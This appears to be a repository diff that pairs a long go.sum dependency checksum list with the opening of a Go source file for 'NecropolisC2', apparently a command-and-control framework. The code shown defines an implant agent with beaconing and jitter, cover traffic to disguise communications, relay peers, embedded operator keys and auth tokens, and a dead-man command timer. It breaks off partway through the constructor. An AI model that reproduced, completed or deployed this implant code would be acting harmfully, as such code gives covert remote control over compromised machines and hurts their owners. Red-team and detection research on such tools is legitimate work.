golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190313220215-9f648a60d977/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210423184538-5f58ad60dda6/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI=
golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY=
golang.org/x/net v0.28.0 h1:a9JDOJc5GMUJ0+UDqmLT86WiEy7iWyIhz8gz8E4e5hE=
golang.org/x/net v0.28.0/go.mod h1:yqtgsTWOOnlGLG9GFRrK3++bGOUEkNBoHZc8MEDWPNg=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20181017192945-9dcd33a902f4/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20181203162652-d668ce993890/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/perf v0.0.0-20180704124530-6e6d33e29852/go.mod h1:JLpeXjPJfIyPr5TlbXLkXWLhP8nz10XfvxElABhCtcw=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180810173357-98c5dad5d1a0/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181029174526-d69651ed3497/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190316082340-a2f829d7f35f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200602225109-6fdc65e7d980/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210426080607-c94f62235c83/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU=
golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY=
golang.org/x/term v0.24.0 h1:Mh5cbb+Zk2hqqXNO7S1iTjEphVL+jb8ZWaqh/g+JWkM=
golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc=
golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20181030000716-a0a13e073c7b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.24.0 h1:J1shsA93PJUEVaUSaay7UXAyE8aimq3GW0pjlolpa24=
golang.org/x/tools v0.24.0/go.mod h1:YhNqVBIfWHdzvTLs0d8LCuMhkKUgSUKldakyV7W/WDQ=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gonum.org/v1/gonum v0.13.0 h1:a0T3bh+7fhRyqeNbiC3qVHYmkiQgit3wnNan/2c0HMM=
gonum.org/v1/gonum v0.13.0/go.mod h1:/WPYRckkfWrhWefxyYTfrTtQR0KH4iyHNuzxqXAKyAU=
google.golang.org/api v0.0.0-20180910000450-7ca32eb868bf/go.mod h1:4mhQ8q/RsB7i+udVvVy5NUi08OU8ZlA0gRVgrF7VFY0=
google.golang.org/api v0.0.0-20181030000543-1d582fd0359e/go.mod h1:4mhQ8q/RsB7i+udVvVy5NUi08OU8ZlA0gRVgrF7VFY0=
google.golang.org/api v0.1.0/go.mod h1:UGEZY7KEX120AnNLIHFMKIo4obdJhkp2tPbaPlQx13Y=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.2.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.3.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20180831171423-11092d34479b/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20181029155118-b69ba1387ce2/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20181202183823-bd91e49a0898/go.mod h1:7Ep/1NZk928CDR8SjdVbjWNpdIf6nzjE3BTgJDr2Atg=
google.golang.org/genproto v0.0.0-20190306203927-b5d61aea6440/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/grpc v1.14.0/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw=
google.golang.org/grpc v1.16.0/go.mod h1:0JHn/cJsOMiMfNA9+DeHDlAU7KAAB5GDlYFpa9MZMio=
google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
grpc.go4.org v0.0.0-20170609214715-11d0a25b4919/go.mod h1:77eQGdRu53HpSqPFJFmuJdjuHRquDANNeA4x7B8WQ9o=
honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
lukechampine.com/blake3 v1.3.0 h1:sJ3XhFINmHSrYCgl958hscfIa3bw8x4DqMP3u1YvoYE=
lukechampine.com/blake3 v1.3.0/go.mod h1:0OFRp7fBtAylGVCO40o87sbupkyIGgbpv1+M1k1LM6k=
sourcegraph.com/sourcegraph/go-diff v0.5.0/go.mod h1:kuch7UrkMzY0X+p9CRK03kfuPQ2zzQcaEFbx8wA8rck=
sourcegraph.com/sqs/pbtypes v0.0.0-20180604144634-d3ebe8f20ae4/go.mod h1:ketZ/q3QxT9HOBeFhu6RdvsftgpsbFHBF5Cas6cDKZ0=
+838
View File
@@ -0,0 +1,838 @@
package core
import (
"bytes"
"context"
"crypto/rand"
"encoding/binary"
"fmt"
"io"
"log"
"os"
"os/user"
"runtime"
"runtime/debug"
"sort"
"sync"
"time"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
"github.com/multiformats/go-multiaddr"
"google.golang.org/protobuf/proto"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
"github.com/Yenn503/NecropolisC2/pkg/transport"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)
type Agent struct {
node *transport.Node
messenger *transport.Messenger
keys *cryptography.ImplantKey
operatorPub crypto.PubKey
boxPubKey *[32]byte
authToken []byte
config AgentConfig
ctx context.Context
cancel context.CancelFunc
connected bool
connectedMu sync.Mutex
wg sync.WaitGroup
beaconStream network.Stream
beaconMu sync.Mutex
beaconWriteMu sync.Mutex
deadManCmd string
deadManTimeout time.Duration
deadManTimer *time.Timer
relayPeers map[peer.ID]*relayPeerInfo
relayMu sync.RWMutex
lastDHTNonce int64
implantBoxKeys *cryptography.BoxKeyPair
}
type AgentConfig struct {
OperatorAddr string
WSSAddr string
BeaconInterval time.Duration
BeaconJitter time.Duration
ReconnectBackoff time.Duration
RelayAddrs []string
CoverTraffic bool
CoverInterval time.Duration
CoverJitter time.Duration
}
func DefaultAgentConfig() AgentConfig {
return AgentConfig{
BeaconInterval: 10 * time.Second,
BeaconJitter: 5 * time.Second,
ReconnectBackoff: 5 * time.Second,
CoverTraffic: true,
CoverInterval: 4 * time.Second,
CoverJitter: 3 * time.Second,
}
}
func loadOperatorPubKey() (crypto.PubKey, error) {
if len(embeddedOperatorPubKey) == 0 {
return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
}
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}
func loadOperatorBoxPubKey() *[32]byte {
if len(embeddedOperatorBoxPubKey) != 32 {
return nil
}
var key [32]byte
copy(key[:], embeddedOperatorBoxPubKey)
return &key
}
func loadAuthToken() []byte {
if len(embeddedAuthToken) != 32 {
return nil
}
return embeddedAuthToken
}
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
if len(embeddedImplantPrivKey) == 0 {
return nil, fmt.Errorf("no embedded implant private key — rebuild with necropolis generate")
}
priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
if err != nil {
return nil, fmt.Errorf("unmarshal implant key: %w", err)
}
pub := priv.GetPublic()
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from implant key: %w", err)
}
return &cryptography.ImplantKey{
KeyPair: cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
OperatorPubKey: operatorPub,
}, nil
}
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
ctx, cancel := context.WithCancel(ctx)
operatorPub, err := loadOperatorPubKey()
if err != nil {
cancel()
return nil, fmt.Errorf("load operator pubkey: %w", err)
}
keys, err := loadImplantKey(operatorPub)
if err != nil {
cancel()
